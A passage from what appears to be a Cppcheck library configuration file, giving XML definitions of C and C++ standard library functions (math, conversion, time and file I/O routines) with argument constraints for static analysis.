    </arg>
  </function>
  <!-- double atan2(double x, double y); -->
  <function name="atan2,std::atan2">
    <use-retval/>
    <pure/>
    <returnValue type="double">atan2(arg1, arg2)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float atan2f(float x, float y); -->
  <function name="atan2f,std::atan2f">
    <use-retval/>
    <pure/>
    <returnValue type="float">atan2(arg1, arg2)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double atan2l(long double x, long double y); -->
  <function name="atan2l,std::atan2l">
    <use-retval/>
    <pure/>
    <returnValue type="long double">atan2(arg1, arg2)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- int atexit(void (*func)(void)); -->
  <function name="atexit,std::atexit">
    <pure/>
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
    </arg>
  </function>
  <!-- int atoi(const char *s); -->
  <function name="atoi,std::atoi">
    <use-retval/>
    <pure/>
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- long int atol(const char *s); -->
  <function name="atol,std::atol">
    <use-retval/>
    <pure/>
    <returnValue type="long int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- long long int atoll(const char *s); -->
  <function name="atoll,std::atoll">
    <use-retval/>
    <pure/>
    <returnValue type="long long int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- double atof(const char *s); -->
  <function name="atof,std::atof">
    <use-retval/>
    <pure/>
    <returnValue type="double"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- void * calloc(size_t nitems, size_t size); -->
  <function name="calloc,std::calloc">
    <use-retval/>
    <noreturn>false</noreturn>
    <returnValue type="void *"/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- double ceil(double x); -->
  <function name="ceil,std::ceil">
    <use-retval/>
    <pure/>
    <returnValue type="double">ceil(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float ceilf(float x); -->
  <function name="ceilf,std::ceilf">
    <use-retval/>
    <pure/>
    <returnValue type="float">ceil(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double ceill(long double x); -->
  <function name="ceill,std::ceill">
    <use-retval/>
    <pure/>
    <returnValue type="long double">ceil(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double copysign(double x, double y); -->
  <function name="copysign,std::copysign">
    <use-retval/>
    <pure/>
    <returnValue type="double"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float copysignf(float x, float y); -->
  <function name="copysignf,std::copysignf">
    <use-retval/>
    <pure/>
    <returnValue type="float"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double copysign(long double x, long double y); -->
  <function name="copysignl,std::copysignl">
    <use-retval/>
    <pure/>
    <returnValue type="long double"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- void clearerr(FILE * stream); -->
  <function name="clearerr,std::clearerr">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <leak-ignore/>
    <arg nr="1">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- clock_t clock(void); -->
  <function name="clock">
    <use-retval/>
    <returnValue type="clock_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
  </function>
  <!-- double cbrt(double x); -->
  <function name="cbrt,std::cbrt">
    <use-retval/>
    <pure/>
    <returnValue type="double">cbrt(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float cbrtf(float x); -->
  <function name="cbrtf,std::cbrtf">
    <use-retval/>
    <pure/>
    <returnValue type="float">cbrt(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double cbrtl(long double x); -->
  <function name="cbrtl,std::cbrtl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">cbrt(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double cos(double x); -->
  <function name="cos,std::cos">
    <use-retval/>
    <pure/>
    <returnValue type="double">cos(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float cosf(float x); -->
  <function name="cosf,std::cosf">
    <use-retval/>
    <pure/>
    <returnValue type="float">cos(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double cosl(long double x); -->
  <function name="cosl,std::cosl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">cos(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double complex ccos(double complex x); -->
  <!-- float complex ccosf(float complex x); -->
  <!-- long double complex ccosl(long double complex x); -->
  <function name="ccos,ccosf,ccosl">
    <use-retval/>
    <pure/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double cosh(double x); -->
  <function name="cosh,std::cosh">
    <use-retval/>
    <pure/>
    <returnValue type="double"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float coshf(float x); -->
  <function name="coshf,std::coshf">
    <use-retval/>
    <pure/>
    <returnValue type="float"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double coshl(long double x); -->
  <function name="coshl,std::coshl">
    <use-retval/>
    <pure/>
    <returnValue type="long double"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double complex ccosh(double complex x); -->
  <!-- float complex ccoshf(float complex x); -->
  <!-- long double ccoshl(long double complex x); -->
  <function name="ccosh,ccoshf,ccoshl">
    <use-retval/>
    <pure/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- char * ctime(const time_t *tp); -->
  <function name="ctime,std::ctime">
    <use-retval/>
    <returnValue type="char *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- errno_t ctime_s(char *buffer, rsize_t bufsz, const time_t *time); // since C11 -->
  <function name="ctime_s">
    <noreturn>false</noreturn>
    <returnValue type="errno_t"/>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-null/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>26:</valid>
    </arg>
    <arg nr="3" direction="in">
      <not-null/>
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- double difftime(time_t time2, time_t time1); -->
  <function name="difftime,std::difftime">
    <use-retval/>
    <returnValue type="double"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- div_t div(int num, int denom); -->
  <function name="div,std::div">
    <pure/>
    <returnValue type="div_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>:-1,1:</valid>
    </arg>
  </function>
  <!-- imaxdiv_t imaxdiv (intmax_t numer, intmax_t denom); -->
  <function name="imaxdiv,std::imaxdiv">
    <pure/>
    <returnValue type="imaxdiv_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>:-1,1:</valid>
    </arg>
  </function>
  <!-- void exit(int status); -->
  <function name="exit,std::exit">
    <noreturn>true</noreturn>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <define name="EXIT_SUCCESS" value="0"/>
  <define name="EXIT_FAILURE" value="1"/>
  <!-- double erf(double x); -->
  <function name="erf,std::erf">
    <use-retval/>
    <pure/>
    <returnValue type="double">erf(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float erff(float f); -->
  <function name="erff,std::erff">
    <use-retval/>
    <pure/>
    <returnValue type="float">erf(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double erfl(long double x); -->
  <function name="erfl,std::erfl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">erf(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double erfc(double x); -->
  <function name="erfc,std::erfc">
    <use-retval/>
    <pure/>
    <returnValue type="double">erfc(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float erfcf(float x); -->
  <function name="erfcf,std::erfcf">
    <use-retval/>
    <pure/>
    <returnValue type="float">erfc(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double erfcl(long double x); -->
  <function name="erfcl,std::erfcl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">erfc(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double carg(double complex z);-->
  <function name="carg">
    <use-retval/>
    <pure/>
    <returnValue type="double"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float cargf(float complex z);-->
  <function name="cargf">
    <use-retval/>
    <pure/>
    <returnValue type="float"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double cargl(long double complex z);-->
  <function name="cargl">
    <use-retval/>
    <pure/>
    <returnValue type="long double"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double exp(double x); -->
  <function name="exp,std::exp">
    <use-retval/>
    <pure/>
    <returnValue type="double">exp(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float expf(float x); -->
  <function name="expf,std::expf">
    <use-retval/>
    <pure/>
    <returnValue type="float">exp(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double expl(long double x); -->
  <function name="expl,std::expl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">exp(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double complex cexp(double complex x); -->
  <!-- float complex cexpf(float complex x); -->
  <!-- long double complex cexpl(long double complex x); -->
  <function name="cexp,cexpf,cexpl">
    <use-retval/>
    <pure/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double complex cimag(double complex x); -->
  <!-- float complex cimagf(float complex x); -->
  <!-- long double complex cimagl(long double complex x); -->
  <function name="cimag,cimagf,cimagl">
    <use-retval/>
    <pure/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double exp2(double x); -->
  <function name="exp2,std::exp2">
    <use-retval/>
    <pure/>
    <returnValue type="double">exp2(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float exp2f(float x); -->
  <function name="exp2f,std::exp2f">
    <use-retval/>
    <pure/>
    <returnValue type="float">exp2(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double exp2l(long double x);-->
  <function name="exp2l,std::exp2l">
    <use-retval/>
    <pure/>
    <returnValue type="long double">exp2(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double expm1(double x); -->
  <function name="expm1,std::expm1">
    <use-retval/>
    <pure/>
    <returnValue type="double">expm1(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float expm1f(float x); -->
  <function name="expm1f,std::expm1f">
    <use-retval/>
    <pure/>
    <returnValue type="float">expm1(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double expm1l(long double x); -->
  <function name="expm1l,std::expm1l">
    <use-retval/>
    <pure/>
    <returnValue type="long double">expm1(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- void _Exit(int status); -->
  <!-- void quick_exit(int exit_code); -->
  <function name="_Exit,std::_Exit,quick_exit,std::quick_exit">
    <noreturn>true</noreturn>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- int std::at_quick_exit( /*atexit-handler*/* func ) noexcept;-->
  <function name="std::at_quick_exit,at_quick_exit">
    <noreturn>false</noreturn>
    <use-retval/>
    <returnValue type="int"/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-null/>
    </arg>
  </function>
  <!-- double fabs(double x); -->
  <function name="fabs,std::fabs">
    <use-retval/>
    <pure/>
    <returnValue type="double">fabs(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float fabsf(float x); -->
  <function name="fabsf,std::fabsf">
    <use-retval/>
    <pure/>
    <returnValue type="float">fabs(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double fabsl(long double x); -->
  <function name="fabsl,std::fabsl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">fabs(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double fdim(double x, double y); -->
  <function name="fdim,std::fdim">
    <use-retval/>
    <pure/>
    <returnValue type="double">fdim(arg1, arg2)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float fdimf(float x, float y); -->
  <function name="fdimf,std::fdimf">
    <use-retval/>
    <pure/>
    <returnValue type="float">fdim(arg1, arg2)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double fdiml(long double x, long double y); -->
  <function name="fdiml,std::fdiml">
    <use-retval/>
    <pure/>
    <returnValue type="long double">fdim(arg1, arg2)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- int fclose(FILE * stream); -->
  <function name="fclose,std::fclose">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <arg nr="1" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- int feof(FILE *stream); -->
  <function name="feof,std::feof">
    <use-retval/>
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- int ferror(FILE *stream);-->
  <function name="ferror,std::ferror">
    <use-retval/>
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- int fflush(FILE *stream); -->
  <function name="fflush,std::fflush">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="inout">
      <!-- If stream is a null pointer, all streams are flushed. -->
      <not-uninit/>
    </arg>
  </function>
  <!-- int fgetc(FILE *stream); -->
  <!-- int getc(FILE *stream); -->
  <function name="fgetc,std::fgetc,getc,std::getc">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- wint_t fgetwc(FILE * stream); -->
  <!-- wint_t getwc(FILE* stream); -->
  <function name="fgetwc,std::fgetwc,getwc,std::getwc">
    <returnValue type="wint_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- int fgetpos(FILE* stream, fpos_t *ptr); -->
  <function name="fgetpos,std::fgetpos">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
    <arg nr="2" direction="out">
      <not-null/>
    </arg>
  </function>
  <!-- double floor(double x); -->
  <function name="floor,std::floor">
    <use-retval/>
    <pure/>
    <returnValue type="double">floor(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float floorf(float x); -->
  <function name="floorf,std::floorf">
    <use-retval/>
    <pure/>
    <returnValue type="float">floor(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double floorl(long double x); -->
  <function name="floorl,std::floorl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">floor(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double fma(double x, double y, double z); -->
  <function name="fma,std::fma">
    <use-retval/>
    <pure/>
    <returnValue type="double"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float fmaf(float x, float y, float z); -->
  <function name="fmaf,std::fmaf">
    <use-retval/>
    <pure/>
    <returnValue type="float"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double fmal(long double x, long double y, long double z); -->
  <function name="fmal,std::fmal">
    <use-retval/>
    <pure/>
    <returnValue type="long double"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double fmax(double x, double y); -->
  <function name="fmax,std::fmax">
    <use-retval/>
    <pure/>
    <returnValue type="double">fmax(arg1,arg2)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float fmaxf(float x, float y); -->
  <function name="fmaxf,std::fmaxf">
    <use-retval/>
    <pure/>
    <returnValue type="float">fmax(arg1,arg2)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double fmaxl(long double x, long double y); -->
  <function name="fmaxl,std::fmaxl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">fmax(arg1,arg2)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double fmin(double x, double y); -->
  <function name="fmin,std::fmin">
    <use-retval/>
    <pure/>
    <returnValue type="double">fmin(arg1,arg2)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float fminf(float x, float y); -->
  <function name="fminf,std::fminf">
    <use-retval/>
    <pure/>
    <returnValue type="float">fmin(arg1,arg2)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double fminl(long double x, long double y); -->
  <function name="fminl,std::fminl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">fmin(arg1,arg2)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double fmod(double x, double y); -->
  <function name="fmod,std::fmod">
    <use-retval/>
    <pure/>
    <returnValue type="double">fmod(arg1,arg2)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>!0.0</valid>
    </arg>
  </function>
  <!-- float fmodf(float x, float y); -->
  <function name="fmodf,std::fmodf">
    <use-retval/>
    <pure/>
    <returnValue type="float">fmod(arg1,arg2)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>!0.0</valid>
    </arg>
  </function>
  <!-- long double fmodl(long double x, long double y); -->
  <function name="fmodl,std::fmodl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">fmod(arg1,arg2)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>!0.0</valid>
    </arg>
  </function>
  <!-- FILE * fopen(const char *filename, const char* mode); -->
  <function name="fopen,std::fopen">
    <use-retval/>
    <returnValue type="FILE *"/>
    <noreturn>false</noreturn>
      <leak-ignore/>
      <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- errno_t fopen_s(FILE *restrict *restrict streamptr,-->
  <!--                 const char *restrict filename,-->
  <!--                 const char *restrict mode); -->
  <function name="fopen_s">
    <returnValue type="errno_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1">
      <not-null/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="3" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- int fprintf(FILE *stream, const char *format, ...); -->
  <function name="fprintf,std::fprintf">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
    <formatstr/>
    <arg nr="2" direction="in">
      <formatstr/>
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- int vfprintf(FILE *stream, const char *format, va_list arg); -->
  <function name="vfprintf,std::vfprintf">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <formatstr/>
      <strz/>
    </arg>
    <arg nr="3" direction="in"/>
  </function>
  <!-- int vfwprintf(FILE *stream, const wchar_t *format, va_list arg); -->
  <function name="vfwprintf,std::vfwprintf">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="inout">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <formatstr/>
      <strz/>
    </arg>
    <arg nr="3" direction="in"/>
  </function>
  <!-- int fputc(int c, FILE *stream); -->
  <function name="fputc,std::fputc">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
    <arg nr="2" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- wint_t fputwc(wchar_t wc, FILE * stream); -->
  <function name="fputwc,std::fputwc">
    <returnValue type="wint_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
    </arg>
    <arg nr="2" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- int fputs(const char *string, FILE* stream); -->
  <function name="fputs,std::fputs">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- int fputws(const wchar_t* ws, FILE* stream); -->
  <function name="fputws,std::fputws">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- size_t fread(void *ptr, size_t size, size_t nobj, FILE *stream); -->
  <function name="fread,std::fread">
    <returnValue type="size_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-null/>
      <minsize type="mul" arg="2" arg2="3"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="4" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- void free(void *block); -->
  <function name="free,std::free">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <arg nr="1">
      <not-uninit/>
    </arg>
  </function>
  <!-- FILE *freopen(const char *filename, const char *mode, FILE *stream); -->
  <function name="freopen,std::freopen">
    <use-retval/>
    <returnValue type="FILE *"/>
    <noreturn>false</noreturn>
    <arg nr="1" direction="in">
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="3" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- errno_t freopen_s(FILE *restrict *restrict newstreamptr, const char *restrict filename, const char *restrict mode, FILE *restrict stream) -->
  <function name="freopen_s">
    <use-retval/>
    <returnValue type="errno_t"/>
    <noreturn>false</noreturn>
